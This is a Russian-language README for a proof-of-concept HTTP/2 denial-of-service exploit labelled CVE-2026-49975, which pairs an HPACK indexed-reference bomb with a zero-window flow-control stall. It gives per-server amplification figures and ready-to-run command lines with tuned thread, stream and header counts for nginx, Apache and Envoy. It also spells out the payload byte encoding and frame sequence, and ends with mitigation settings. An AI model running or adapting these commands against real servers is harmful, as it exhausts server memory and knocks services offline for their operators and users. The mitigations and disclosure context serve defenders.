
HTTP/2 бомба PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall)
Эксплойт-концепт для CVE-2026-49975 — удалённая уязвимость типа «отказ в обслуживании» в реализациях сервера HTTP/2. Обнаружена Куангом Луонгом (Calif Security Research), раскрыта 2 июня 2026 года.
Только для авторизованного тестирования безопасности. Не используйте против инфраструктуры, которой вы не владеете или на тестирование которой у вас нет письменного разрешения.
Атака объединяет два механизма протокола HTTP/2:
1. HPACK-бомба с индексными ссылками
HPACK (RFC 7541) позволяет отправителю ссылаться на ранее виденные заголовки по индексу — обычно один байт. Эксплойт один раз вставляет почти пустой заголовок в динамическую таблицу, а затем тысячи раз ссылается на него. Каждая однобайтовая ссылка на проводе заставляет сервер выделять около 70 байт внутренней учётной записи на одну запись. Большие значения не используются, поэтому ограничения «максимальный размер декодированного заголовка» никогда не срабатывают.
2. Блокировка окна управления потоком HTTP/2
Объявляя нулевое окно приёма, атакующий не даёт серверу отправить свой ответ или освободить память. Периодические кадры WINDOW_UPDATE размером в 1 байт сбрасывают тайм-аут отправки сервера, удерживая выделения памяти на всё время открытого соединения.
Результат: ~16 КБ отправлено на поток → ~1,15 МБ оперативной памяти сервера выделено и удерживается на поток.
| Сервер | Амплификация | Демонстрационный эффект | Статус |
|---|---|---|---|
| Envoy 1.37.2 | ~5 700:1 | 32 ГБ за ~10 с | Исправления нет на момент раскрытия |
| Apache httpd 2.4.67 | ~4 000:1 | 32 ГБ за ~18 с | Исправлено в mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 ГБ за ~45 с | Исправлено в nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 ГБ за ~45 с | Исправления нет на момент раскрытия |
| Cloudflare Pingora | ~68:1 | — | Исправления нет на момент раскрытия |
Зависимостей нет — только стандартная библиотека.
# Базовый тест (одно соединение)
python3 exploit-test.py target.com 443
# Бомба учётной записи для nginx (рекомендуется для целей nginx)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Метод «cookie-crumb» для Apache/Envoy
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 в открытом виде (редко — большинство серверов требуют TLS для h2)
python3 exploit-test.py target.com 80 --no-ssl
| Флаг | По умолчанию | Описание |
|---|---|---|
target | — | Имя хоста или IP |
port | 443 | TCP-порт |
--threads | 1 | Параллельные соединения (каждое переподключается при закрытии) |
--streams | 10 | Потоков HTTP/2 на соединение |
--headers | 5000 | HPACK-ссылок по индексу на поток |
--mode | nginx | nginx (учётная запись, 70:1) или classic (большое значение, 4000:1) |
--no-ssl | выкл. | Отключить TLS (h2c) |
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# пример для nginx: 50 × 30 × 16374 × 70 / 1024² = ~1 647 МБ
| Цель | Режим | --headers | Примечания |
|---|---|---|---|
| nginx < 1.29.8 | nginx | 16374 | В пределах значения по умолчанию http2_max_header_size 16k |
| Apache httpd | classic | 5000 | Метод «cookie crumb» |
| Envoy | classic | 32000 | Высокая амплификация |
# Подтверждение поддержки HTTP/2 и версии сервера
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Уязвим, если:
# - ALPN: server accepted h2 (HTTP/2 включён)
# - server: nginx/X.Y.Z (где X.Y.Z < 1.29.8)
nginx — обновитесь до 1.29.8+ и добавьте:
http2 max_headers 1000;
Или полностью отключите HTTP/2:
# Удалите "http2" из директивы listen
listen 443 ssl;
Apache httpd — обновите mod_http2 до v2.0.41+. Временное решение: Protocols http/1.1
IIS / Envoy / Pingora — на момент написания исправлений нет. Отключите HTTP/2 или поставьте спереди прокси с исправлением.
Общее (все серверы):
# Ограничьте память рабочего процесса, чтобы уменьшить радиус поражения
ulimit -v 2097152 # 2 ГБ на процесс
# Docker: --memory="2g" --memory-swap="2g"
Затравка динамической таблицы (инкрементальное индексирование, добавляет в индекс 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Индексная ссылка на запись 62 (по 1 байту):
0x80 | 62 = 0xbe
Полезная нагрузка на проводе на поток = 9 байт (затравка) + N байт (N ссылок)
Выделение памяти сервером на одну ссылку ≈ sizeof(ngx_table_elt_t) ≈ 70 байт
Клиент → Сервер:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (преамбула)
SETTINGS [INITIAL_WINDOW_SIZE=0] (настройка блокировки)
SETTINGS ACK (после чтения SETTINGS сервера)
HEADERS [поток 1] ← бомба (псевдозаголовки + HPACK-бомба)
HEADERS [поток 3] ← бомба (псевдозаголовки + HPACK-бомба)
...
WINDOW_UPDATE(1) на поток / 1s (блокировка keep-alive)
| Файл | Описание |
|---|---|
exploit-test.py | Основной PoC — многопоточный, с реконнектом, режимы nginx и classic |
SECURITY-REPORT-MIST.md | Отчёт авторизованного тестирования для mist.ac.bd |
LICENSE | MIT |